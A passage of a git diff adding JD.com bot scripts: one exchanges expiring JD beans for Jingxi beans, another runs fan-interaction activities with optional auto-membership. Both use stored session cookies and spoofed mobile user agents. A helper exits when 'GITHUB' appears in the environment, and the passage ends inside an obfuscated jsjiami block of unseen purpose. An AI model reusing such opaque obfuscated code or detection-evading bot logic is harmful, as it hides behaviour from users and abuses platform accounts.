*/*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if(data.indexOf('json(') === 0){ + data = data.replace(/\n/g, "").match(new RegExp(/json.?\((.*);*\)/))[1] + } + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log("data",data); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +/** + * param 将要转为URL参数字符串的对象 + * key URL参数字符串的前缀 + * encode true/false 是否进行URL编码,默认为true + * + * return URL参数字符串 + */ +function urlEncode(param, key, encode) { + if(param==null) return ''; + var paramStr = ''; + var t = typeof (param); + if (t == 'string' || t == 'number' || t == 'boolean') { + paramStr += '&' + key + '=' + ((encode==null||encode) ? encodeURIComponent(param) : param); + } else { + for (var i in param) { + var k = key == null ? i : key + (param instanceof Array ? '[' + i + ']' : '.' + i); + paramStr += urlEncode(param[i], k, encode); + } + } + return paramStr; +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_exchangejxbeans.js b/jd_exchangejxbeans.js new file mode 100644 index 0000000..f16d0f9 --- /dev/null +++ b/jd_exchangejxbeans.js @@ -0,0 +1,159 @@ +/** +过期京豆兑换为喜豆 +cron 33 9 * * * jd_exchangejxbeans.js +TG频道:https://t.me/sheeplost +*/ +const $ = new Env('京豆兑换为喜豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +let exjxbeans = false; +if (process.env.exjxbeans) { + exjxbeans = process.env.exjxbeans; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + expirebeans = 0; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await domain(); + } + } + if (message !== "") { + if ($.isNode()) { + await notify.sendNotify($.name, message) + } else { + $.msg($.name, '', message) + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function domain() { + maxexchange = 1000; + beans = await queryexpirebeans(); + if (beans.ret === 0) { + beans.expirejingdou.map(item => { + expirebeans += item.expireamount; + }); + } + if (exjxbeans) { + if (expirebeans) { + //为防止异常故障,每次最多兑换1000喜豆! + if (expirebeans < maxexchange) { + console.log(`您有${expirebeans}个京豆将在7天内过期,去执行兑换`); + let jxbeans = await exchangejxbeans(expirebeans); + if (jxbeans) { + console.log(`成功兑换喜豆${expirebeans}!`); + message += `\n【京东账号${$.index}】${$.nickName || $.UserName}\n成功兑换喜豆${expirebeans}!` + } + } else { + console.log(`默认每次最多兑换${maxexchange}豆子`) + } + } else { + console.log('您未来7天内无过期京豆') + } + } else { + console.log('脚本默认不兑换豆子,如需兑换请设置环境变量exjxbeans为true') + } +} +function queryexpirebeans() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data.slice(23, -13)); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function exchangejxbeans(o) { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Cookie": cookie, + "Connection": "keep-alive", + "User-Agent": JXUA, + "Accept-Language": "zh-cn", + "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept-Encoding": "gzip, deflate, br", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_fan.js b/jd_fan.js new file mode 100644 index 0000000..c70c96e --- /dev/null +++ b/jd_fan.js @@ -0,0 +1,34 @@ +/* + 粉丝互动 + 蚊子腿活动,不定时更新,尽量自己改定时跑,一起冲容易挂掉 + 环境变量:RUHUI,是否自动入会,默认不如会,设置RUHUI=1,则会自动入会 + 环境变量:RUNCK,执行多少CK,默认全执行,设置RUNCK=10,则脚本只会运行前10个CK +* */ +const $ = new Env('粉丝互动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const RUHUI = $.isNode() ? (process.env.RUHUI ? process.env.RUHUI : `888`):`888`; +const RUNCK = $.isNode() ? (process.env.RUNCK ? process.env.RUNCK : `9999`):`9999`; +let cookiesArr = [],message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const activityList = [ + {'id':'027ba51d1ee44a3eb9dddfb06ee4f9e6','endTime':1646063999000},//2022-02-01---2022-02-28 + {'id':'dc08625c66a342a7b884b7a0e981edd8','endTime':1646063999000},//2022-02-01---2022-02-28 Origins悦木之源京东自营官方旗舰店 + {'id':'145efa9da8d74d4784f284a10f3f13c2','endTime':1646063999000},//2022-02-01---2022-02-28 戴·可·思(Dexter)母婴京东自营旗舰店 + {'id':'ad006d9123d14e92b40a898c19508bc1','endTime':1645286400000},//2022-02-01---2022-02-20 乐而雅旗舰店 + {'id':'d8594388e5454a568e49592f90c2bf5b','endTime':1646063999000},// +]; +var _0xody='jsjiami.com.v6',_0xody_=['‮_0xody'],_0x33f5=[_0xody,'w5bDp8OCwozDmQ==','KMO/w7TDlMKr','w7LCuVg=','5oqT5aSN6I645b2pGg==','YsOCU8OH','wqsJecO6QsOTw6R6','V+iMjuW/oe+9hQ==','ecKdwpDDrA==','wpfDpXPDvMONH8O6E8OkwrcqJ3lbw5zDlQ==','w4XDncKxMcKPwrXDqzFpwppuw53CjsKnYRo=','w6rCt0zCknHCt8OcwrpjYsOgInXCq3/Cgg==','5oq66KCP6YKK5L2A5Z+0','wqYAEWnCoFk=','EsKVPC/DoA==','w7PDkcOiwoLDv0Z3DF0FIHs5wpXChMOvJSbCvMO9ZcOpYcOBw5nDrsOpwqPDmT4RwqJ+Q8O8w4Etw5sR','w6wfMAU=','GBUA','wpDDkMOtSMOMw4jCscKIwrI=','wpPDhcOtUsOH','wqjDlcKVQU4=','f8OWXcOBwo7DtyA=','5Ya45LyqWQ==','w5/Dt8OXw63DlH4=','w63CvlDCiQvCn8OUwr1yQMOPImTCqmDCgzjDuQ==','I8KKHxLDsDZ8wqXCgMOmQTdSVg==','wpDDrG/Dp8KbMcOrH8Omwo4yP1Na','NkrDjlsJHA==','RzV7wptSb8O4REXCtMKuVcOeNE5Nw68=','wq9VEMK1E8K/','w6ceIBnDg8KUw67CmcO8eMKMHxvCu8O8wqdL','AnUHGE3Cv8KvFFnChQB+NMOIw5zCjMOJ','cBp2wobCusKXwrLDlDVt','QBlowrtZ','wpvCi2M0OA==','wq7DhcO0UMOy','V8KTwpE=','Ymgc','PRAWKuito+azjOWmuui0ju+8kOiuiOais+afsee/v+i1l+m